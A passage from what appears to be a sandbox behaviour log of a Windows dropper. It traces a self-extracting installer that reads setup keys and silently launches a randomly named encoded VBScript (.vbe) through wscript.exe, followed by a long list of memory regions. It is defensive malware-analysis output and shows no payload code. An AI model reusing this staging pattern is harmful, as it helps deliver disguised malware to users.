lpString1="Path", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Path", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 2 [0075.726] ExpandEnvironmentStringsW (in: lpSrc="et1pu6VAlkUOY7GuC90A.vbe", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="et1pu6VAlkUOY7GuC90A.vbe") returned 0x19 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0075.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0075.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Setup", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 2 [0075.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".inf", cchCount2=-1) returned 3 [0075.727] GetFileAttributesW (lpFileName="et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe")) returned 0x20 [0075.727] GetFullPathNameW (in: lpFileName="et1pu6VAlkUOY7GuC90A.vbe", nBufferLength=0x800, lpBuffer=0x3adb2c, lpFilePart=0x3aeb2c | out: lpBuffer="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe", lpFilePart=0x3aeb2c*="et1pu6VAlkUOY7GuC90A.vbe") returned 0x34 [0075.727] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0075.728] GetProcAddress (hModule=0x75be0000, lpProcName="ShellExecuteExW") returned 0x75c01e46 [0075.728] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3aead4 | out: lpflOldProtect=0x3aead4*=0x4) returned 1 [0075.728] ShellExecuteExW (in: pExecInfo=0x3aeb54*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3aeb54*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x270)) returned 1 [0082.250] CloseHandle (hObject=0x270) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=".vbe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0082.250] ExpandEnvironmentStringsW (in: lpSrc="U", lpDst=0x3adb88, nSize=0x1000 | out: lpDst="U") returned 0x2 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 3 [0082.250] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="License", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 3 [0082.251] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Update", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 2 [0082.251] GetDlgItem (hDlg=0xa005c, nIDDlgItem=1) returned 0x20314 [0082.251] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0082.255] GetProcAddress (hModule=0x76860000, lpProcName="EnableWindow") returned 0x76882da4 [0082.256] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb898 | out: lpflOldProtect=0x3cb898*=0x4) returned 1 [0082.256] EnableWindow (hWnd=0x20314, bEnable=1) returned 0 [0082.256] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0082.256] GetProcAddress (hModule=0x76860000, lpProcName="EndDialog") returned 0x7689b99c [0082.256] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3cb8a8 | out: lpflOldProtect=0x3cb8a8*=0x4) returned 1 [0082.257] EndDialog (hDlg=0xa005c, nResult=0x1) returned 1 [0082.271] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d92a8 | out: hHeap=0x4c0000) returned 1 [0082.271] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d9278 | out: hHeap=0x4c0000) returned 1 [0082.271] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5523e8 | out: hHeap=0x4c0000) returned 1 [0082.272] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0082.273] GetProcAddress (hModule=0x75220000, lpProcName="DeleteObject") returned 0x75235689 [0082.273] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7d4 | out: lpflOldProtect=0x3ef7d4*=0x4) returned 1 [0082.273] DeleteObject (ho=0xc01f7) returned 0 [0082.273] DeleteObject (ho=0x2c05018e) returned 1 [0082.274] IUnknown:AddRef (This=0x758866bc) returned 0x1 [0082.274] GdiplusShutdown (token=0x13314d0) [0082.280] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0082.280] GetProcAddress (hModule=0x75740000, lpProcName="OleUninitialize") returned 0x7575eba1 [0082.280] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7bc | out: lpflOldProtect=0x3ef7bc*=0x4) returned 1 [0082.280] OleUninitialize () [0082.290] GetModuleHandleW (lpModuleName=0x0) returned 0x12d0000 [0082.290] GetModuleHandleW (lpModuleName=0x0) returned 0x12d0000 [0082.291] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x555ef8 | out: hHeap=0x4c0000) returned 1 [0082.292] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d7bc8 | out: hHeap=0x4c0000) returned 1 [0082.292] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4e3ac8 | out: hHeap=0x4c0000) returned 1 [0082.293] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4e1658 | out: hHeap=0x4c0000) returned 1 [0082.293] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d5fd8 | out: hHeap=0x4c0000) returned 1 [0082.294] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d6710 | out: hHeap=0x4c0000) returned 1 [0082.294] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0082.294] GetLastError () returned 0x7e [0082.294] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0082.295] GetLastError () returned 0x7e [0082.295] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x3ef8cc | out: phModule=0x3ef8cc) returned 0 [0082.295] ExitProcess (uExitCode=0x0) [0082.297] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d4638 | out: hHeap=0x4c0000) returned 1 Thread: id = 2 os_tid = 0xe0c Thread: id = 3 os_tid = 0xe10 Thread: id = 4 os_tid = 0xe14 Thread: id = 5 os_tid = 0xe18 Process: id = "2" image_name = "wscript.exe" filename = "c:\\windows\\syswow64\\wscript.exe" page_root = "0x46438000" os_pid = "0xe1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe04" cmd_line = "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe\" " cur_dir = "C:\\comproviderRuntimecommon\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 394 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 395 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 396 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 397 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 398 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 399 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 400 start_va = 0x6d0000 end_va = 0x6f5fff monitored = 1 entry_point = 0x6d2f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 401 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 402 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 403 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 404 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 405 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 406 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 407 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 408 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 409 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 413 start_va = 0x320000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 414 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 415 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 416 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 417 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 418 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 419 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 420 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 421 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 422 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 423 start_va = 0x3a0000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 424 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 425 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 426 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 427 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 428 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 429 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 430 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 431 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 432 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 433 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 434 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 435 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 436 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 437 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 438 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 439 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 440 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 441 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 442 start_va = 0x733a0000 end_va = 0x733a8fff monitored = 0 entry_point = 0x733a1220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 443 start_va = 0x250000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 444 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 445 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 446 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 447 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 448 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 449 start_va = 0x890000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 450 start_va = 0xa20000 end_va = 0x1e1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 451 start_va = 0x20000 end_va = 0x22fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 452 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 453 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 454 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 455 start_va = 0x570000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 456 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 457 start_va = 0x420000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 458 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 459 start_va = 0x2090000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 460 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 461 start_va = 0x2190000 end_va = 0x245efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 462 start_va = 0x70000 end_va = 0x7efff monitored = 1 entry_point = 0x72f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 463 start_va = 0x72050000 end_va = 0x720aefff monitored = 0 entry_point = 0x72052134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 464 start_va = 0x580000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 465 start_va = 0x610000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 466 start_va = 0x1f30000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 467 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 468 start_va = 0x739b0000 end_va = 0x739c2fff monitored = 0 entry_point = 0x739b1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 469 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 470 start_va = 0x754c0000 end_va = 0x75542fff monitored = 0 entry_point = 0x754c23d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 471 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 472 start_va = 0x749c0000 end_va = 0x74a2afff monitored = 1 entry_point = 0x749c1409 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll") Region: id = 473 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "et1pu6valkuoy7guc90a.vbe" filename = "\\comproviderRuntimecommon\\et1pu6VAlkUOY7GuC90A.vbe" (normalized: "c:\\comproviderruntimecommon\\et1pu6valkuoy7guc90a.vbe") Region: id = 474 start_va = 0x2f0000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 475 start_va = 0x76830000 end_va = 0x7685efff monitored = 0 entry_point = 0x76832a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 476 start_va = 0x74ab0000 end_va = 0x74bd0fff monitored = 0 entry_point = 